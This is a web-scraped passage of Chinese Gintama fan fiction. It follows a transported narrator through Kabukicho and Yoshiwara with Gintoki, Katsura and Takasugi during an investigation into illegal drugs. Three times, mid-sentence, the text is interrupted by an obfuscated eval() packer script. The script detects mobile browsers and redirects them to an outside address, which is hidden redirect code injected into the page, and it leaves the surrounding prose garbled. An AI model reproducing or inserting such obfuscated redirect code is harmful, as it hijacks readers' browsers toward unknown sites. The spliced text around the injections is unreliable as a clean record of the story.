捧着怀表在街上跑了一段,那抹白底蓝纹的衣角便晃入眼帘,我一个箭步冲过去,揪着他的领子,“我家有天人入侵了,啊不对,是两个长得像天X宝宝的天人……大危机啊,这是我的大危机啊……啊嘞,你,你怎么了?” 被我揪着的银发天然卷毫无反抗地任我摇着,平日懒散的死鱼眼圆睁,瞳孔都紧缩起来,整个人陷入一种奇怪的紧绷里头,浑身肌肉僵硬得像石块。 “大危机……阿银如今也是大危机啊……”他抱着头崩溃般大喊,“为什么,为什么要这么折磨我……不,不,还是杀掉我吧……不要用这种方式折磨我啊……” “什么,谁折磨你?”我还是第一次看到他这么崩溃恐惧的样子,那眼角血丝都要爆裂了一般,完全就是陷入极度紧张的状态啊,连一边脸都肿起来了。 他忽然一顿,看着我的眼神几近祈求,“折磨……简直就是比天人入侵更可怕的折磨……你行行好,杀掉我吧,求求你了。” “搞什么啊?我怎么可能杀你?”我还想死呢,杀了他只会坐牢,也不对,他案底肯定比我厚,没准还能无罪释放。 坂田银时责怪地瞥了我一眼,带着显而易见的失望,“也是,你现在就是弱鸡一只……指望不上。算了,阿银要去排队了,好可怕,那些钻的声音……为什么这个世界会有这么恐怖的声音啊……” 他掰开我的手,失魂落魄地走进一旁的牙医诊所。 我眨了眨眼,才听到那阵从里头隐约传出来的钻头的声音。那种深入骨髓的恐惧狂袭,我下意识地退后一步。 天人……对,我要找到那两个天人。总,总之,先去报案…… 我抬头,一抹黑色的身影晃入眼帘。 那个倒V刘海,那双凶凶的三白眼,不就是真选组的副长土方十四郎吗?真巧! “土方先生,大危机啊,我家……诶,土方先生,你还好吧?”我急急地跑到他面前,还没把我的危机说完,便对上一双紧缩瞳孔的眸子,那眼角崩裂的程度很是眼熟,还有那半边肿起来的脸。 “危机,确实是大危机……”土方十四郎没有焦距的眼神乱颤,声音低沉带着极致的紧张,“为什么要这样折磨我……杀掉我吧……求求你了……” “搞什么啊?我怎么可能杀你?”够了,想死的是我好吧!杀了他不但坐牢,还可能会被砍头。虽然想死,但我还是想死得有尊严。 土方十四郎遗憾地瞥了我一眼,带着毫无生气的失望,“也是……你这样的弱鸡也杀不了我。” 这句话耳熟得让我有点不爽。 “啊哈……那个,土方先生,你该不会也是去看牙医吧?很害怕吗?”我嘴角抽了抽,只想说一句真巧。 土方十四郎低头,没有底气地低喃,“害,害怕?怎么,怎么可能啊,不就钻一下而已……老,老子在家也经常钻啊……” 啊呸,谁没事在家钻钻头啊?我一个字都不信。 土方十四郎猛地抬头表情一正,以赴战场的气势,颤抖着双腿走进牙医诊所。 没多久,一个额头长出一只手拿着牙刷的人从里面走了出来。那样子很熟悉,好像是公园里的流浪汉,但之前不是长这个样子……头上没有手和牙刷。 我震惊得瞳孔颤动,双手手指塞进嘴里才堵住惊呼。 这是什么诊所啊?人造人还是异型生产基地?这里不是牙医,是修卡总部吧?好可怕啊~ 想起进去了的坂田银时和土方十四郎…… 果,果然是很大的危机……我都不忍心打扰他们了。他们既然有那个勇气进去,应该也不希望被我打扰吧。【银时+十四:不,求你进来阻止一下啊拜托!】 “没,没问题的吧……”我实在不敢跟进去,那钻头的声音确实很可怕,里面出来的人也好可怕。 除了他们,我还能找谁帮忙?茫然的视线游移,忽然落在电线杆上的通缉令上。 对了,假发! “假发~~” 我捧着怀表,径直朝在寿司店门口派传单的巨大人偶冲过去。 大概是我的动静不小,门口的两个布偶都看了过来,我精准地扑倒其中一个狗狗布偶,“假发,我被天人入侵了!” “不是假发,是桂……”闷闷的声音从狗头里面传出来。 【厉害,阿萤小姐你竟然认得出里面的是桂先生】一边的伊丽莎白举牌。 不,我认出的是你……我顺着伊丽莎白的手站起来,诡异地笑了笑不解释。 “天人入侵?”桂把狗头推上一些,露出那张清秀的脸,想到什么般脸色一白,“阿萤,你有没有被改造了什么?” 说罢,视线如X光般把我上下打量一遍,“外表看不出来,有没有什么地方变成了螺丝刀之类的?” “再乱看,戳瞎你哦~”我捂着胸口,笑眯眯地警告。 “咳咳,总之,是什么天人?”桂轻咳两下,把视线上移到我的脸,“是之前跟踪你的吗?” 时间跳跃的事和磁场的事不好跟他说,我便组织了个官方说法,“应该是,昨晚有两个天人躲进我的电视机里头,说是特莱姆星的,给了我这个东西。我现在很急着要找到他们,你能帮忙吗?” 我描述了一下那两个人的外表,把怀表拎到他眼前。 桂凑近一看,表情微愣。他摸着下巴,神情专注而认真,仿佛思考什么重大事件般,看得我都紧张起来。 “怎,怎么了,假发,是有什么问题吗?”我小心翼翼地问道。 “阿萤……”他轻眯着眼,慎重地点点头,“最近视力好像有点下降,看不太清,这上头是时间吗?” 我顿时一头黑线。 伊丽莎白再次举牌,【桂先生,都怪你夜里关灯打游戏。】 “总之,你先帮我找到人吧,那些人对我来说很重要。”至少我要知道我来到这里跟这些有没有关联。还有,这个跳动的数字代表什么,时间跳跃是指什么。 桂爽快地答应下来,没等我多说,寿司店的店长探头出来警告。 “我说,假发你怎么又兼职了?”帮他派了几张传单,我发现这家店的价钱和出品好像也不错。 “不是假发,是桂。”习惯性地捍卫了自己的名字,桂才慢条斯理地回道,“攘夷也是需要资金的,这种兼职还能躲开那些幕府的走狗,一举两得。” “听起来确实不错……”我寻思着将来也可以跟他一起赚个外快。原来的月见萤积蓄不少,我没想着在这个世界逗留太久,所以对钱也没概念。但坐吃山崩,除了寻死外找点事打发时间也可以。 “对了,阿萤,冒昧问一下,你现在多大了?”桂戴着狗头看不到表情,忽然转身朝我问道。 确实挺冒昧的,就像以前单位那些热心八卦的阿姨们……我偏头想了想,也不是不能说,“我么?25,怎么了?要给我安排相亲吗?” 不论是月见萤还是我自己,今年都是25,。 “是么……哈哈,果然是永远的25啊。”桂的声音听起来像是在笑。 那声音闷在狗头里面,听得不太真切。 又过了两天,我发现怀表里面的数字变少了,已经看得出是在倒数什么。 “时间倒数……是指我回去的时间吗?”我隐约记得,那天人曾说这个机器会跟飞船控制器产生磁场效应,那应该是我来到这里的原因。 虽然但是,我还是觉得这东西很不靠谱……因为那两个天人并不知道我不是真的月见萤。那是不是说,我挂掉才是真正让我回去原来世界的途径? “那这个东西有什么用?”我拎着怀表,想丢掉又不太踏实,“对了,神乐之前说那个机器狂老爹很厉害,要不让他帮忙看看?” 歌舞伎町的街道每天都热热闹闹的,仿佛发生什么事都不需要大惊小怪,我每次走在这条街都觉得大家的神经非常有韧劲。偶尔抬起头,那个澄澈明亮的天空会让我有种岁月安好的感觉,只要那些飞船不从头上飞过的话。 “死卷毛,交租啊!没钱就去找一个富婆养,不要给老娘拖时间!” 才刚走到登势酒馆门口,便听到楼上老板娘中气十足的大吼,所有的岁月静好瞬间被打破。 我吓了一跳,看向靠在酒馆门口的凯瑟琳。 猫耳娘抱着双手,淡定地回了我一个嗔怪的笑容,仿佛瞧不上我的大惊小怪。 “少啰嗦啊老太婆,阿银我可是从小就有女人说要养的,一个怎么够?得找一堆才配得上我们家的标准啊!” 这么爆炸性的宣言伴随着乒铃乓啷的声响一路从楼上到侧边的楼梯,不多久,那个银发天然卷已经流畅地滚到我脚边。 “银桑,你没事吧?”新八和神乐跑着从楼梯下来,看到我笑着打招呼,“啊,阿萤姐~” 五体投地趴在地上的坂田银时抬起头,拧着脸瞪我一眼,仿佛我做了什么坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872463|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事般。 “还一堆富婆,明明一个都没找到。” 啧啧,他哪里来的自信啊?勉强说的话,也只有登势老板娘,但她不承认这么丢脸的事。 我蹲下,嘲讽地笑着揪他的卷发。 “闭嘴,那都是对方的问题,答应了又跑掉,难道是阿银的问题吗?”银时一头卷发都快炸起了,猛地仰起身,头差点就撞上我的。 “哇……谢谢凯瑟琳。”千钧一发之际,是凯瑟琳机警地拉着我领子避开。我感激地看了她一眼,站起来,“你好歹是个店长,就不能有点责任感吗?” “就你没资格说我……”坂田银时拍拍衣服上的灰尘,挖了挖耳朵,“怎样,想通了要切腹,来找阿银给你介错吗?很可惜,现在我们没空,要去吉原走走。” 吉原啊……我来这里半年多了,一直没回过去,甚至已经把这个背景抛弃了,反而跟这条街的主角们越来越熟。 想想确实有点无情,日轮还给我介绍了登势婆婆来着。 “呐,你去吉原就去啊,扯着我干嘛?”我无语地看着他扯着我的手,身边的神乐和新八朝我咧出笑容,齐齐伸手推着我走。再往后看去,凯瑟琳和小玉爽快地朝我挥挥手。 “你不是出来很久了吗?一起回去看看吧。”坂田银时放开我,不怀好意地道,“据说你以前可是以温柔体贴著称,现在这么暴力一定是因为离开太久了,刚好回炉再造啊……痛!” 我爽快地给他一脚,“暴力不就因为你吗?” 细想一下,我也就对着他和假发的时候比较暴力,其他时间我都很有礼貌的。因为这样,新八总是怀疑我们认识很久。我只能说,有些人的磁场也许天生就比较暴力。 “其实,是日轮姐有些担心你,她一直都有问我们你的近况……尽管我们也快半年没见过她。”新八见我们有打起来的倾向,连忙笑着解释,跟神乐一起走在我身边。“我们不知道你想不想跟以前的人再联系,不太好跟她说起,所以才……但是,阿萤小姐如果不愿意的话,也没关系的。” “阿萤姐,一起去嘛,日轮会请我们吃团子啊鲁~”神乐大方地把伞向我倾斜一些,挡去有些炙热的阳光。 回去么?其实我对那里的人不太抗拒,之前是怕被人看出我不是月见萤而已。吉原现在没有凤仙,神威也不在,我也不太担心回重启。 想到胸口挂着的怀表不断跳动的数字,如果很快就要离开,回去看看也不是不可以……想到回去的可能,我下意识地看向走在前面的那个身影。 “走啦走啦,反正你也没什么事干,总比去人妖酒吧摸胸肌来得靠谱啊。”坂田银时耷拉着眼皮,懒洋洋地把手缩进衣服里,搔着一头乱翘的卷发走回来。 “我就摸过一两次,什么都没来得及做,话说回来你到底在妒忌什么啊。” “谁妒忌啊白痴!阿银的胸肌也是很有看头的!” “都说了不是胸肌的问题,又不是我想摸的,是他们先动的手。再说了,我从来磊落光明,有什么东西是我不能摸的?”我扫了眼,呃,他的胸膛好像也确实挺厚实,胸肌应该也……咳咳,我才不是故意看,是他今天拉链拉低了些而已。 “少胡扯了,这句话是用在这里的吗?你这个混蛋肌肉控死白痴。” “别诬赖啊,你这个废柴糖分控卷毛蠢货。” “你这是歧视阿银的天然卷吗?没听过天然卷都不是坏人吗?这是阿银的萌点啊!” “套句老话,我不是歧视天然卷,我只是歧视你。” “啊啊,果然还是很想揍你啊!” “痛啊,你就不能把想法停留在脑子里吗?别实践啊!” “好了好了,别吵了两位。”新八艰难地插在我们之间,拍开他掐过来的手。 “少啰嗦,眼镜!” 我一手拉着新八当挡箭牌,一手拍过去,“偷袭可耻啊!” “你们够了!神乐快来帮帮忙啊!”被我们两个拽着的新八怒了。 神乐挖了挖鼻孔,叹口气,一伞过去。 很好,都安静了。 “呜呜……银时你怎么把一个女孩子养得这么暴力……” 看吧看吧,暴力不是我的问题,是因为这个人! 我抱着头上的包瞪着同样抱着头叫痛的坂田银时,责怪的意思直白地写在脸上。 “没办法,不是地球产的又没说明书,没养死很好了。”坂田银时不负责任地撇撇唇。 13.女强人 吉原的格局比经济新区的高楼林立更梦幻,让人想起千与千寻那种与世隔绝的奢靡,整个城的建筑和街道都有种古日式的错落感。 虽然是白天,但吉原作为江户红番区依然灯火通明,有种纸醉金迷的颓靡。满街的游女花枝招展,勾引着每一个走在街上的男人,笑语不断。 之前一心想离开原本月见萤的环境,这还是我第一次这么直观地欣赏这里的风景,那些游女也没有对我好奇的打量反感,反而回以善意的笑容。 这要是在以前,这种善意是想也不敢想……要不耍泼要不反抗。 “阿萤姐……看起来像是没来过吉原一样。”比起这条街,新八更好奇是我的反应。也许是我一副乡下人进城的表情太过突兀,他忍不住托了托眼镜,小心地问道。 我愣了一下,眺望整条热闹的街道,“虽然不知道该怎么解释,但我确实第一次来这条街。” 坂田银时和神乐也看了过来,神乐绽出笑容,拉着我的手道,“自从上次之后,日轮姐她们就开了吃食店,晴太也在帮忙哦。月月则继续带领百华守护吉原,大家都有好好地生活呢~” 她好像是误会了什么,但我也没解释。 “是么?”我抬头,看到那边的晴太兴奋地朝我们挥手,他的身后,是坐在轮椅上笑容温柔的日轮,还有依旧是一身半开和服,穿着渔网丝袜搭配高筒靴的月咏。他们的脸上没有之前的压抑,神采奕奕的。 在那些曾缠绕她们的锁链被斩断之后,她们好像真的迎来了新生。 眼神因这个想法而放柔,我情不自禁地扬起来这里后第一次这么灿烂的笑容,“这么有元气,真好。” 头上一暖,我顿了一下,身边是坂田银时难得平和稳重的笑,莫名地心底微动,总觉得他的眼神跟平时打闹完全不一样。 “都说了,女人洗过的头别乱碰啊,坂田氏。” 打过照面后,日轮便把不情不愿的晴太打发走了,看来是有些事需要商量。她笑着看向我,“阿萤看起来过得不错哦~差点就认不出来了。” 离开吉原后,我的外形确实变化很大,原本一头染得褐色近红的长发慢慢褪回黑色,那些露肩衣服都被我换成长短不一的普通和服,比如今天穿的就是很传统的鹅黄色和服。这种色调和正规保守的穿法在吉原很少见。最主要的是,我的眉眼没有了原本月见萤刻意的柔媚与魅惑,反而正气了不少。整个人看起来跟之前差异确实挺大的,但我却很满意,因为如今的神韵开始跟我以前很像。 “哼,这家伙变的可不止外表啊。”坂田银时当日是见过我游女打扮的,偏头看着我,挖了挖鼻孔不屑的道。 我灿笑着狠狠踩了他一脚,顺便碾了碾,“讨厌,女人就是要不断变化才有魅力啊~” “你有的只是暴力吧……死S!”猝不及防被踩中小指,他痛得扭曲了面容。 日轮吃惊地看着我们,随即忍俊不禁地笑了起来,“不愧是吉原的救世主呢……说起来,阿萤的身手本来就不错,之前差点就做了百华……只是后来跟凤仙大人达成了共识才放弃,不然你就是月咏的副手了。” “确实,那时候差点就被她比下去了。”月咏把玩着烟管,笑着认同。 “真的吗?我才知道我能这么厉害。”我愕然,除了对这个动不动就撩起我暴力因子的笨蛋,我就跟神威勉强算动过手,其他时候我都很礼貌随和的。 “你们对不错的理解是不是有什么误差?这家伙现在连十来岁的小鬼都打不过啊,弱鸡一只。”坂田银时一脸嫌弃地甩甩手。 我警告地瞥了他一眼,没反驳。对比他们来说,我是个普通人,不是弱鸡,是他们武力值太高而已。 日轮闻言,脸色一怔,笑容微敛,“这样啊,还以为阿萤来了能帮个忙。其实,今天特地叫了银桑你们来也是为了这个事。” 坂田银时无语地插腰,非常无奈,“喂喂,不说这个弱鸡,就是阿银今天也是off模式来的啊,还以为能享受一下这个温柔乡。” 日轮笑容微暗,眉眼也带了些无奈。我猜了一下便明了她的想法,她大概也知道是有些为难,但也没其他办法,吉原是一块肥肉,光靠她们自保已经很吃力了。 “啊啦,温柔乡都是英雄冢哦……救世主桑~”我勾着神乐的脖子,意味深长地道。有人质+保镖在手,他的偷袭杀不过来。 比起他的抗拒,新八和神乐倒是热情满满,我无可无不可地听了一下吉原的问题。 其实都是可以预见的,吉原这种地方本来就是罪恶之源,不过以前有强悍的凤仙镇着而已。而现在,月咏口中那些一直被凤仙所震慑而没有靠近吉原的苍蝇们开始聚集起来,攘夷志士等的暴行,暴动,抢劫……层出不穷,就算有百华也毫无办法。 “这是理所当然的吧,没有强大的保护伞,这种地方就是罪恶温床。除掉了震慑的吉祥物,治安这种东西还能存在已经是奇迹了。” 我舔了舔沾上团子粉末的手指,迎上月咏带着讶异的眼神,“想到这些东西不值得惊讶……比起这些明显的暴行,应该有更大的问题吧。” 黄赌毒三家从不分家,就算是我这样浸在和平年代的人都能想到,这个乱世的□□不可能放弃这种暴利的东西。 月咏紫眸微暗,带着疤痕依然不掩美艳的面容染上几分肃穆,“确实,吉原最严重的问题是非法药品的贩卖,身心俱疲的艺伎们为了追求一时的快感而开始染指毒品……” 我看了眼日轮和月咏,想到这种事背后肯定有官府的痕迹,忍不住提醒道,“这种事光靠百华不行吧,警察……啊,也靠不上,还真是……麻烦。” 百华不过是一群女性自主组建的治安队,在我眼里就跟城管差不多,没编制不说,也没后台。这个世界的警察听命于这样的政府,就算有心帮忙也无力。难怪日轮只能来找坂田银时这个救世主,也只有他没有半点利益也会来帮忙,并且不惧怕这些利益背后的势力。 因为那就是这样的一个笨蛋,只擅长救人的救世主桑,就算嘴里再哔哔,最后还是会心软舍命出手相助。 这种英雄式的主角有时候也挺让人佩服的。 “我已经舍弃了女性的自觉,就算不靠任何势力,也会保护好吉原。”月咏眼神骤然坚定,浑身散发一股迫人气势。 我懒懒地拍拍手,站起来才发现这个姑娘穿着高跟靴子也没比我高多少。我一直以为她很高大的……因为重复在时间点的时候曾看到过她独自抵抗众多百华,那个万夫莫开的背影。 目光从她脸上的伤疤移到她的双眸,我扬眉轻笑,“我不认同,月咏,什么东西是我们女人做不了,需要舍弃女性自觉才能做到?别傻了,女人连孩子都能生,还有什么做不到?妇女能顶半边天,那些研究出核能导弹的也有女性科学家的。还有,我从来不觉得依靠势力有什么问题,能利用手边一切资源来达到自己目标,保护好该保护的东西,都是正道。过程什么的多惊险都无所谓,结局才是重点。” 我讨厌这种贬低女性的观念,也许因为吉原就是不断打压女性的地方,月咏要守护吉原的话,她失去了很多,但吉原痛苦的又何止她一人?如今吉原已初步解放了,活在阳光之下的她还抱着这种想法的话,那日轮为什么还要找来万事屋?她们难道不就是抱着依靠坂田银时来解决这次危机的想法吗? 日轮这种想法无可厚非,她也没其他选择,只能依靠别人。既然她都能转变观念,月咏又何必坚持一个人扛?还舍弃女性什么的…… 人的性别除了重新投胎还能改变吗?当然,这个时候我并不知道,在这个离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890648|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱的天人满地跑的世界,还真的可以…… “喂喂,你干嘛忽然这么激动啊……”坂田银时漫不经心地搔搔头,抬头看了我一眼,不着痕迹地拉了拉我的衣角,“现在不是在商量么?” 我鄙夷他一眼,男人总是喜欢装模作样地和稀泥。 “小月月,女人活着已经很难了,能怪别人的话就别怪自己了,对吧。”我抬手拍拍月咏的脸蛋,眼神温柔地安抚,“有人可用就不用客气,为美女服务哪个男人都很乐意。上啊,用你的鸡鸭死操控这些愚蠢的傀儡,去吧~” 近看才发现,月咏的眼睛很像吾皇,就不知道有没有这种外挂了。这样一联想,我的笑容更不可抑止地灿烂起来,拍着她脸蛋的手顺势掐了掐。 哎,手感真好,嫩嫩的。 月咏愣愣地看着我,脸蛋泛起一丝红晕,连眼神也有点闪躲。不知道为什么,这副样子让我觉得她多了几分可爱。 “把你的蹄子给老子收回来……你个男女不忌的混蛋。”坂田银时不耻地道。 哼,就不。 我摸了摸月咏的脸,看得她脸红了才伸了个懒腰转身指着神乐道,“小神乐,给姐姐记住刚才的话哦,我们女性不但要有实力,还要有智力和强大内核,坚决拒绝任何形式的PUA哦~” “嗨~阿萤姐~”神乐立马站起来行了个军礼,笑容灿烂天真。 日轮掩唇笑了笑,轻轻地摇摇头。 “啊啊,受不了……心智停留在幼稚园的白痴一如既往地喜欢说大话。”坂田银时支着下颌,没精打采地鄙视我。 他眼神不好我不介意,作为成熟的女人我必须有他不能比的胸怀。 “走吧,情况大概都了解。我这种连十来岁小子都打不过的战力不适合跟你们直接去查。新八,神乐,我们去打听消息吧。根据我的经验,这种东西,肯定有不少人有小道消息的,也许有其他发现哦。”我勾勾手,笑着道。 神乐和新八看向银时,见他无奈地点点头便笑着跟上我。 坂田银时撑着腮,翻着死鱼眼意思意思地叮嘱,“喂,别在吉原乱惹风流债啊。” 我头也不回地摆摆手,带着两个孩子走了。 “阿萤姐,你刚才是生气吗?”走了一段路,新八有些忐忑地问道。 我眨眨眼,笑容温和,“不啊,我生气不是这个样子的。” “啊……”他的忐忑忽然变成了无语。 “呐,神乐,你要记住哦,我们女性的力量是很强大的。”我勾着神乐,蹭了蹭她的额头,“直面自己,适当的时候做出正确的选择,才是致胜关键。当然,这也是在坚持自己的武士道前提上啦。不过啊……总有一天你们会知道,这个世界上,有一种比刀剑更厉害的武器。” “是枪炮吗?”神乐摇了摇她撑着的伞。 新八被她逗笑了,“应该不是吧。” 我停下脚步,笑着摸摸他们的头,“是温柔。” 真正的强大并非来自于外在的肌肉和力量,而是来自于内心的坚韧和善良。温柔的人,他们的内心如同水一般包容,如同石头一般坚定。这样的人,无论自身战力如何,都会是强者。 我记得有个高赞的分析帖里头有一句话,坂田银时是个非常温柔的人。想起方才他嘴上说不干但却老实地坐下听的样子,还有一直以来说着帮我去死但一直都在引导我积极活在这个世界的样子……我很难不认同这个评价。 那是一个,温柔的笨蛋。 现在的他们脸上还有些懵懂,但我想他们总会明白,因为他们会一直跟在那个男人身后。 蓦地,一抹金色从眼前掠过,我顿时一惊,“新八,神乐,我们分头行事吧。我去那边。” 顾不上他们的惊讶,我连忙拐入细巷,追上那道身影。 14.结束吧 一出巷子,额头就被枪口抵住。 果然,我这种战力渣就不应该单独行动。我翻了个白眼,冷静地看向眼前的人。 一头半长金发,玫红色的两截和服,踩着帅气的靴子,野性明丽的女孩一脸复杂地瞪着我,手中的枪保险已拉上。 “哟~”我力持镇定地举手打招呼,笑容可掬。 “哟你妹啊!”女孩脾气看着也挺野性的,枪口戳了戳我额头,“敢跟上来,是打算不要命了吗?” 说实话,不太想要……我很想点头。 “快滚,别在这里丢人……我绝不承认……你这样的游女竟然让晋助大人……”女孩说话越来越低,咬牙切齿的,我听不清她最后的话,但却有点笃定这个人不会杀我。 “随便叫人滚可不是什么好习惯哦~”也许是那边几个百华的身影,也许是我感受不到她的杀意,心性一起,我极快偏头避开她的枪口,一手横劈她露出来的小蛮腰,同时起脚扫过去。 托坂田银时的福,我踢人的速度非常不错,今天的和服也没有很限制动作。女孩料不到我会主动出手,整个人被我撂倒,反应极快地以枪柄朝我袭来。 被我收在背后的木棍狠挥,应声打掉她的手枪,我眉眼一亮,刚想跃后却被一道袭来的劲风限制。莫名的脊背一寒,我极快地转身,却快不过身后的人。 冰冷的刀刃抵在我颈边,我背靠墙上,双眼圆瞪地看着持刀靠在身前的男人。 暗紫近黑的短发,独眸幽绿深邃,浴衣随意地系着腰带,因动作而露出大片胸前的肌肤,面容清俊,眼角眉梢均带着一抹邪气的讽意。 那是一个浑身散发狂狷和阴郁的男人。 “不赖嘛,以为现在不过是个废物,没想到也会亮爪子偷袭。”男子冷哼了声,勾起唇角,语气凉薄却也十分不屑。 眼前这人比我高了不过半个头,但那身气势压下来差点让我呼吸不顺。我眨了眨眼,忽然问道,“项链是你送的吗?” 男子明显没料到我的问题,神情微愕。我蓦地凑前,抵在我颈边的刀刃极快地避开,在那只独眸里头我清晰地看到自己扬眉嘚瑟的笑容。 “找死吗?”男子冷冷地道,语气很厌蠢,也带了些对自己撤刀的不悦。 “不……我想问,你……认识我?”我追过来的行为确实有点冒进,但不知道为何,眼前的人不过一面之缘,我却在他身上感受到一种跟桂……不,也许是跟坂田银时很像的气息。 这种奇怪的感觉让我莫名地相信他不是坏人,至少,对我来说不是。 当然,消极一些的想法是,就算我的直觉出了错也无所谓,他不是神威,杀掉我也不过是实现了我一直以来惧怕但又想做的事而已。 “不认识……现在的你。”男子眸色转暗,淡淡地道。 我心下一虚,他果然是以前月见萤的客人,还敏锐地觉察到我们之间的不同。怎么办?要是他问起,我要不要否认? 这样一想,我无法直视地垂头,“那个,我……” “晋助大人,发现那人的踪迹了。”一个头戴着斗笠的男人忽然从边上走出来,看到我们的情况谨慎地问道,“来岛,这是怎么回事?” 来岛又子保持着拿枪指着我的姿势,摇了摇头。 “晋助?”我终于听清这个人的名字了,“你是高杉晋助?” 我记起来了,那个分析贴上提过,坂田银时,桂小太郎和高杉晋助三人合称joy3,是发小。哦对了,他还是坂田银时最有名的CP之一。因为时间短,我没怎么留意具体剧情,只是看了些主角的性格分析,当时我关注的重点在神威。 高杉收回刀的动作顿了一下,蓦地冷笑出声,“你是跟他们一起在查那些非法药品的事吧。要跟上来吗?不过……死掉的话,我不会替你收尸。” 诶?我愣愣地看着他们干脆地转身离去,咬咬唇,还是跟了上去。 主角的发小在动漫史上极少有反派,一般都用来挂掉刺激主角成长。尽管这个男人看上去非常危险,还是那种形于外的中二愤青的危险,但我还是觉得他不会放着我死不管。 啊不对,我原来就想die来着。 跟随着他们从吉原离开,来到一个类似港口的地方,又一次看到眼熟的集装箱。 “这个时代做坏事都要来这种地方吗?”海风带了些腥味,我揉了揉发痒的鼻子低喃。 来岛又子从我跟上起就一直以那种鄙视又探究的目光扫视,闻言不屑地道,“那不过是些杂碎而已,真正做大事的人是不会拘泥地方的。我们晋助大人都是致胜千里,不需要这种地方。” “这也不是什么光彩的事好吧。”来的路上,因为这位脾气火爆的美女,我大概搞清了高杉现在的事业。 激进派攘夷志士什么的也确实挺让人头疼,同样是攘夷志士,怎么桂看起来没那么高端? 我把这个想法告诉了高杉,结果他以更鄙夷的目光冷得我不敢再乱说话。他那眼神仿佛我拿他跟什么脑残的东西相提并论了。 “这些人都有个红蜘蛛纹身哦,是隶属同一个组织吗?”我蹲在被又子杀掉的人身边看了看,好奇地问。这些都是坏人,我没什么圣母心。 “最近听说攘夷志士跟一个叫红蜘蛛党的混一起了,经常做一些抢劫的事。不过,我们找的可不是这种杂碎呐,阿萤小姐。”名为武市变平太的中年男人面无表情地道。比起又子,他对我的态度温和很多。 “你们找的,是那边运货的那些人?”我架着望远镜看了眼那边忙碌的人们,忍不住调整一下焦距,想要看看那个人的样子。 下一刻,望远镜被一只大手捂上,我抬头,是高杉带着讽意的脸。 “别犯傻,等下被盯上你就麻烦了。” “哦哦,你是在担心我吗?”真是个好人,我惊喜地望着他,笑容表达了对他友善的意外。 高杉回我一个无奈又像是看白痴般的眼神,他拿下望远镜,随意看了一眼那边,唇边勾起几分笑意,“侦探游戏到此结束了,你这种弱鸡,万一误踏入蜘蛛的巢穴,一瞬间便会被缠住,一块肉也不留地被蚕食干净。” 蜘蛛……是指对面的那个人?我暗忖着,对方可能就是月咏要找的人。 “你不也在看嘛……这么远不至于发现吧。”不过也难说,这些高手的警戒心可不是一般人能想象的。尤其是,在干坏事的高手。 “阿萤,银时也来了。”高杉看了眼后,忽然朝我笑道,那笑容带着几分恶意。 他提起银时这个名字的时候,语气非常熟悉,却又带着不屑与一抹极浅的怨恨,落在我耳边十分矛盾。 但不知道为什么,我觉得他叫我名字的语气比坂田银时叫我混蛋的语气温和多了。 “诶?他不是跟月咏去追查的吗?这么快也查到这里了?”跟月咏不同,高杉这边的人手早就打听清楚,直接就找到案发地点。 那看来坂田银时还是有两把刷子的,平时懒懒散散,但该有的职业素养还是有的。不然,他不可能这么快查到这里。不愧是万事屋社长呢~ 高杉偏头笑了笑,眉宇有些看戏的悠闲,“那个男人可不容易对付。啧,原以为是有大鱼,但现在看来,那个男人做这么多不过是为了私怨这种没趣的东西。既然银时已经搅进去……我们不用做什么了,等时机到了再动手,比现在出手更有效率。” “高杉,你想做什么?”我听得二丈金刚摸不着脑袋,总觉得他话里的意思不仅仅是指吉原的非法药品交易。 “我?”夜色之下,高杉的表情阴森难测,他勾了勾唇角,声音低哑,带着满满的恶意,“我什么都没想做,不过是想破坏这个世界而已……” 诶?我怔然地抬头看着那个几乎跟夜色融为一体的身影,不明白他的意思,但那种形于外的愤恨让我不由得脊背发凉。 “呵,阿萤,侦探游戏要不要改成你喜欢的警匪游戏?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894534|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谨慎地藏在集装箱后,我在心底低咒高杉晋助这个看好戏还要推人上舞台的混蛋。 什么叫银时伤得不轻,可能会死在这里……说得那么严重,怎么就推我这个战力渣过来救场?不是发小吗? “反正你不是一直寻死吗?死前给他添点堵不也挺好的?还是说,你打算见死不救?” 高杉最后的笑容让我有种不顾一切揍他一顿的愤慨,要救人不是应该报警吗?你们这群恐怖分子果然不是走正道的! 外面兵器交锋的声响和月咏凄厉的惨叫交杂,听得出坂田银时没占什么上风……尽管说主角不会死,但……高杉把对手说得那么强,我也做不到见死不够啊! 握紧手中的短刀,我努力看清高杉说的那些线……他说那个人利用丝线构筑了一个巨大的巢穴,掉入巢穴的猎物会被吃掉。那……要是能砍断那些丝线呢? “地雷亚,不要——” 月咏的叫声让我有点不好的预感,高杉最后那个笑容也很诡异,仿佛在等着我做什么般。 